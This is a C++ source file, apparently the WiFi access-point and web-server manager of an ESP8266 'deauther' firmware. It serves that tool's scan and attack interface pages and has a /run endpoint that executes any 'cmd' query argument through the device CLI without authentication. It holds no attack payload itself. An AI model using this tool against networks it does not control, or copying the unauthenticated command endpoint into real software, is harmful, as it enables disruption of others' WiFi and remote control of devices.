const char W_JPG[] PROGMEM = "image/jpeg";
|
||||
const char W_ICON[] PROGMEM = "image/x-icon";
|
||||
const char W_XML[] PROGMEM = "text/xml";
|
||||
const char W_XPDF[] PROGMEM = "application/x-pdf";
|
||||
const char W_XZIP[] PROGMEM = "application/x-zip";
|
||||
const char W_GZIP[] PROGMEM = "application/x-gzip";
|
||||
const char W_JSON[] PROGMEM = "application/json";
|
||||
const char W_TXT[] PROGMEM = "text/plain";
|
||||
|
||||
const char W_DOT_HTM[] PROGMEM = ".htm";
|
||||
const char W_DOT_HTML[] PROGMEM = ".html";
|
||||
const char W_DOT_CSS[] PROGMEM = ".css";
|
||||
const char W_DOT_JS[] PROGMEM = ".js";
|
||||
const char W_DOT_PNG[] PROGMEM = ".png";
|
||||
const char W_DOT_GIF[] PROGMEM = ".gif";
|
||||
const char W_DOT_JPG[] PROGMEM = ".jpg";
|
||||
const char W_DOT_ICON[] PROGMEM = ".ico";
|
||||
const char W_DOT_XML[] PROGMEM = ".xml";
|
||||
const char W_DOT_PDF[] PROGMEM = ".pdf";
|
||||
const char W_DOT_ZIP[] PROGMEM = ".zip";
|
||||
const char W_DOT_GZIP[] PROGMEM = ".gz";
|
||||
const char W_DOT_JSON[] PROGMEM = ".json";
|
||||
|
||||
// Server and other global objects
|
||||
ESP8266WebServer server(80);
|
||||
DNSServer dnsServer;
|
||||
IPAddress apIP(192, 168, 4, 1);
|
||||
IPAddress netMsk(255, 255, 255, 0);
|
||||
File fsUploadFile;
|
||||
|
||||
// current WiFi mode and config
|
||||
uint8_t wifiMode = WIFI_MODE_OFF;
|
||||
|
||||
bool wifi_config_hidden = false;
|
||||
bool wifi_config_captivePortal = false;
|
||||
String wifi_config_ssid;
|
||||
String wifi_config_password;
|
||||
String wifi_config_path;
|
||||
|
||||
void stopAP() {
|
||||
if (wifiMode == WIFI_MODE_AP) {
|
||||
wifi_promiscuous_enable(0);
|
||||
WiFi.persistent(false);
|
||||
WiFi.disconnect(true);
|
||||
wifi_set_opmode(STATION_MODE);
|
||||
prntln(W_STOPPED_AP);
|
||||
wifiMode = WIFI_MODE_STATION;
|
||||
}
|
||||
}
|
||||
|
||||
void wifiUpdate() {
|
||||
if ((wifiMode != WIFI_MODE_OFF) && !scan.isScanning()) {
|
||||
server.handleClient();
|
||||
dnsServer.processNextRequest();
|
||||
}
|
||||
}
|
||||
|
||||
String getWifiMode() {
|
||||
switch (wifiMode) {
|
||||
case WIFI_MODE_OFF:
|
||||
return W_MODE_OFF;
|
||||
|
||||
break;
|
||||
|
||||
case WIFI_MODE_AP:
|
||||
return W_MODE_AP;
|
||||
|
||||
break;
|
||||
|
||||
case WIFI_MODE_STATION:
|
||||
return W_MODE_ST;
|
||||
|
||||
break;
|
||||
|
||||
default:
|
||||
return String();
|
||||
}
|
||||
}
|
||||
|
||||
String getContentType(String filename) {
|
||||
if (server.hasArg("download")) return String(F("application/octet-stream"));
|
||||
else if (filename.endsWith(str(W_DOT_GZIP))) filename = filename.substring(0, filename.length() - 3);
|
||||
else if (filename.endsWith(str(W_DOT_HTM))) return str(W_HTML);
|
||||
else if (filename.endsWith(str(W_DOT_HTML))) return str(W_HTML);
|
||||
else if (filename.endsWith(str(W_DOT_CSS))) return str(W_CSS);
|
||||
else if (filename.endsWith(str(W_DOT_JS))) return str(W_JS);
|
||||
else if (filename.endsWith(str(W_DOT_PNG))) return str(W_PNG);
|
||||
else if (filename.endsWith(str(W_DOT_GIF))) return str(W_GIF);
|
||||
else if (filename.endsWith(str(W_DOT_JPG))) return str(W_JPG);
|
||||
else if (filename.endsWith(str(W_DOT_ICON))) return str(W_ICON);
|
||||
else if (filename.endsWith(str(W_DOT_XML))) return str(W_XML);
|
||||
else if (filename.endsWith(str(W_DOT_PDF))) return str(W_XPDF);
|
||||
else if (filename.endsWith(str(W_DOT_ZIP))) return str(W_XZIP);
|
||||
else if (filename.endsWith(str(W_DOT_JSON))) return str(W_JSON);
|
||||
else return str(W_TXT);
|
||||
}
|
||||
|
||||
bool handleFileRead(String path) {
|
||||
prnt(W_AP_REQUEST);
|
||||
prnt(path);
|
||||
|
||||
if (!path.charAt(0) == SLASH) path = String(SLASH) + path;
|
||||
|
||||
if (path.charAt(path.length() - 1) == SLASH) path += String(F("index.html"));
|
||||
|
||||
String contentType = getContentType(path);
|
||||
|
||||
if (!SPIFFS.exists(path)) {
|
||||
if (SPIFFS.exists(path + str(W_DOT_GZIP))) path += str(W_DOT_GZIP);
|
||||
else if (SPIFFS.exists(wifi_config_path + path)) path = wifi_config_path + path;
|
||||
else if (SPIFFS.exists(wifi_config_path + path + str(W_DOT_GZIP))) path = wifi_config_path + path + str(
|
||||
W_DOT_GZIP);
|
||||
else {
|
||||
// prntln(W_NOT_FOUND);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
File file = SPIFFS.open(path, "r");
|
||||
server.streamFile(file, contentType);
|
||||
file.close();
|
||||
prnt(SPACE);
|
||||
prntln(W_OK);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void handleFileList() {
|
||||
if (!server.hasArg("dir")) {
|
||||
server.send(500, str(W_TXT), str(W_BAD_ARGS));
|
||||
return;
|
||||
}
|
||||
|
||||
String path = server.arg("dir");
|
||||
// Serial.println("handleFileList: " + path);
|
||||
Dir dir = SPIFFS.openDir(path);
|
||||
|
||||
String output = String(OPEN_BRACKET); // {
|
||||
File entry;
|
||||
bool first = true;
|
||||
|
||||
while (dir.next()) {
|
||||
entry = dir.openFile("r");
|
||||
|
||||
if (first) first = false;
|
||||
else output += COMMA; // ,
|
||||
|
||||
output += OPEN_BRACKET; // [
|
||||
output += String(DOUBLEQUOTES) + entry.name() + String(DOUBLEQUOTES); // "filename"
|
||||
output += CLOSE_BRACKET; // ]
|
||||
|
||||
entry.close();
|
||||
}
|
||||
|
||||
output += CLOSE_BRACKET;
|
||||
server.send(200, str(W_JSON).c_str(), output);
|
||||
}
|
||||
|
||||
void sendProgmem(const char* ptr, size_t size, const char* type) {
|
||||
server.sendHeader("Content-Encoding", "gzip");
|
||||
server.sendHeader("Cache-Control", "max-age=86400");
|
||||
server.send_P(200, str(type).c_str(), ptr, size);
|
||||
}
|
||||
|
||||
// path = folder of web files, ssid = name of network, password = password ("0" => no password), hidden = if the network
|
||||
// is visible, captivePortal = enable a captive portal
|
||||
void startAP(String path, String ssid, String password, uint8_t ch, bool hidden, bool captivePortal) {
|
||||
if (password.length() < 8) {
|
||||
prntln(W_ERROR_PASSWORD);
|
||||
return;
|
||||
}
|
||||
|
||||
if (!path.charAt(0) == SLASH) path = String(SLASH) + path;
|
||||
|
||||
if (password == String(ZERO)) password = String(NEWLINE);
|
||||
|
||||
wifi_config_path = path;
|
||||
wifi_config_ssid = ssid;
|
||||
wifi_config_password = password;
|
||||
setWifiChannel(ch);
|
||||
wifi_config_hidden = hidden;
|
||||
wifi_config_captivePortal = captivePortal;
|
||||
|
||||
WiFi.softAPConfig(apIP, apIP, netMsk);
|
||||
WiFi.softAP(ssid.c_str(), password.c_str(), wifi_channel, hidden);
|
||||
|
||||
dnsServer.setErrorReplyCode(DNSReplyCode::NoError);
|
||||
dnsServer.start(53, String(ASTERIX), apIP);
|
||||
|
||||
MDNS.begin(str(W_DEAUTHER).c_str());
|
||||
|
||||
server.on(String(F("/list")).c_str(), HTTP_GET, handleFileList); // list directory
|
||||
|
||||
|
||||
// ================================================================
|
||||
// post here the output of the webConverter.py
|
||||
|
||||
if (!settings.getWebSpiffs()) {
|
||||
server.on(String(SLASH).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(indexhtml, sizeof(indexhtml), W_HTML);
|
||||
});
|
||||
server.on(String(F("/attack.html")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(attackhtml, sizeof(attackhtml), W_HTML);
|
||||
});
|
||||
server.on(String(F("/index.html")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(indexhtml, sizeof(indexhtml), W_HTML);
|
||||
});
|
||||
server.on(String(F("/info.html")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(infohtml, sizeof(infohtml), W_HTML);
|
||||
});
|
||||
server.on(String(F("/scan.html")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(scanhtml, sizeof(scanhtml), W_HTML);
|
||||
});
|
||||
server.on(String(F("/settings.html")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(settingshtml, sizeof(settingshtml), W_HTML);
|
||||
});
|
||||
server.on(String(F("/ssids.html")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(ssidshtml, sizeof(ssidshtml), W_HTML);
|
||||
});
|
||||
server.on(String(F("/style.css")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(stylecss, sizeof(stylecss), W_CSS);
|
||||
});
|
||||
server.on(String(F("/js/attack.js")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(attackjs, sizeof(attackjs), W_JS);
|
||||
});
|
||||
server.on(String(F("/js/scan.js")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(scanjs, sizeof(scanjs), W_JS);
|
||||
});
|
||||
server.on(String(F("/js/settings.js")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(settingsjs, sizeof(settingsjs), W_JS);
|
||||
});
|
||||
server.on(String(F("/js/site.js")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(sitejs, sizeof(sitejs), W_JS);
|
||||
});
|
||||
server.on(String(F("/js/ssids.js")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(ssidsjs, sizeof(ssidsjs), W_JS);
|
||||
});
|
||||
server.on(String(F("/lang/cn.lang")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(cnlang, sizeof(cnlang), W_JSON);
|
||||
});
|
||||
server.on(String(F("/lang/cs.lang")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(cslang, sizeof(cslang), W_JSON);
|
||||
});
|
||||
server.on(String(F("/lang/de.lang")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(delang, sizeof(delang), W_JSON);
|
||||
});
|
||||
server.on(String(F("/lang/en.lang")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(enlang, sizeof(enlang), W_JSON);
|
||||
});
|
||||
server.on(String(F("/lang/fr.lang")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(frlang, sizeof(frlang), W_JSON);
|
||||
});
|
||||
server.on(String(F("/lang/it.lang")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(itlang, sizeof(itlang), W_JSON);
|
||||
});
|
||||
server.on(String(F("/lang/ru.lang")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(rulang, sizeof(rulang), W_JSON);
|
||||
});
|
||||
server.on(String(F("/lang/tlh.lang")).c_str(), HTTP_GET, []() {
|
||||
sendProgmem(tlhlang, sizeof(tlhlang), W_JSON);
|
||||
});
|
||||
}
|
||||
server.on(str(W_DEFAULT_LANG).c_str(), HTTP_GET, []() {
|
||||
if (!settings.getWebSpiffs()) {
|
||||
if (settings.getLang() == String(F("cn"))) sendProgmem(cnlang, sizeof(cnlang), W_JSON);
|
||||
else if (settings.getLang() == String(F("cs"))) sendProgmem(cslang, sizeof(cslang), W_JSON);
|
||||
else if (settings.getLang() == String(F("de"))) sendProgmem(delang, sizeof(delang), W_JSON);
|
||||
else if (settings.getLang() == String(F("en"))) sendProgmem(enlang, sizeof(enlang), W_JSON);
|
||||
else if (settings.getLang() == String(F("fr"))) sendProgmem(frlang, sizeof(frlang), W_JSON);
|
||||
else if (settings.getLang() == String(F("it"))) sendProgmem(itlang, sizeof(itlang), W_JSON);
|
||||
else if (settings.getLang() == String(F("ru"))) sendProgmem(rulang, sizeof(rulang), W_JSON);
|
||||
else if (settings.getLang() == String(F("tlh"))) sendProgmem(tlhlang, sizeof(tlhlang), W_JSON);
|
||||
|
||||
else handleFileRead(String(F("/web/lang/")) + settings.getLang() + String(F(".lang")));
|
||||
} else {
|
||||
handleFileRead(String(F("/web/lang/")) + settings.getLang() + String(F(".lang")));
|
||||
}
|
||||
});
|
||||
|
||||
// ================================================================
|
||||
|
||||
server.on(String(F("/run")).c_str(), HTTP_GET, []() {
|
||||
server.send(200, str(W_TXT), str(W_OK).c_str());
|
||||
String input = server.arg("cmd");
|
||||
cli.exec(input);
|
||||
});
|
||||
|
||||
server.on(String(F("/attack.json")).c_str(), HTTP_GET, []() {
|
||||
server.send(200, str(W_JSON), attack.getStatusJSON());
|
||||
});
|
||||
|
||||
// aggressively caching static assets
|
||||
server.serveStatic("/js", SPIFFS, String(wifi_config_path + "/js").c_str(), "max-age=86400");
|
||||
|
||||
// called when the url is not defined here
|
||||
// use it to load content from SPIFFS
|
||||
server.onNotFound([]() {
|
||||
if (!handleFileRead(server.uri())) {
|
||||
server.send(404, str(W_TXT), str(W_FILE_NOT_FOUND));
|
||||
}
|
||||
});
|
||||
|
||||
server.begin();
|
||||
wifiMode = WIFI_MODE_AP;
|
||||
|
||||
prntln(W_STARTED_AP);
|
||||
printWifiStatus();
|
||||
}
|
||||
|
||||
void printWifiStatus() {
|
||||
prnt(String(F("[WiFi] Path: '")));
|
||||
prnt(wifi_config_path);
|
||||
prnt(String(F("', Mode: '")));
|
||||
|
||||
switch (wifiMode) {
|
||||
case WIFI_MODE_OFF:
|
||||
prnt(W_MODE_OFF);
|
||||
break;
|
||||
|
||||
case WIFI_MODE_AP:
|
||||
prnt(W_AP);
|
||||
break;
|
||||
|
||||
case WIFI_MODE_STATION:
|
||||
prnt(W_STATION);
|
||||
break;
|
||||
}
|
||||
prnt(String(F("', SSID: '")));
|
||||
prnt(wifi_config_ssid);
|
||||
prnt(String(F("', password: '")));
|
||||
prnt(wifi_config_password);
|
||||
prnt(String(F("', channel: '")));
|
||||
prnt(wifi_channel);
|
||||
prnt(String(F("', hidden: ")));
|
||||
prnt(b2s(wifi_config_hidden));
|
||||
prnt(String(F(", captive-portal: ")));
|
||||
prntln(b2s(wifi_config_captivePortal));
|
||||
}
|
||||
|
||||
void startAP() {
|
||||
startAP(wifi_config_path.c_str(), wifi_config_ssid.c_str(),
|
||||
wifi_config_password.c_str(), wifi_channel, wifi_config_hidden, wifi_config_captivePortal);
|
||||
}
|
||||
|
||||
void startAP(String path) {
|
||||
wifi_config_path = path;
|
||||
startAP();
|
||||
}
|
||||
|
||||
void loadWifiConfigDefaults() {
|
||||
wifi_config_hidden = settings.getHidden();
|
||||
wifi_config_ssid = settings.getSSID();
|
||||
wifi_config_password = settings.getPassword();
|
||||
wifi_config_captivePortal = settings.getCaptivePortal();
|
||||
wifi_config_path = str(W_WEBINTERFACE);
|
||||
}
|
||||
|
||||
void resumeAP() {
|
||||
if (wifiMode != WIFI_MODE_AP) {
|
||||
wifiMode = WIFI_MODE_AP;
|
||||
wifi_promiscuous_enable(0);
|
||||
WiFi.softAPConfig(apIP, apIP, netMsk);
|
||||
WiFi.softAP(wifi_config_ssid.c_str(), wifi_config_password.c_str(), wifi_channel, wifi_config_hidden);
|
||||
prntln(W_STARTED_AP);
|
||||
}
|
||||
}
|
||||
|
||||
#endif // ifndef WifiManager_h
|
||||
Reference in New Issue
Block a user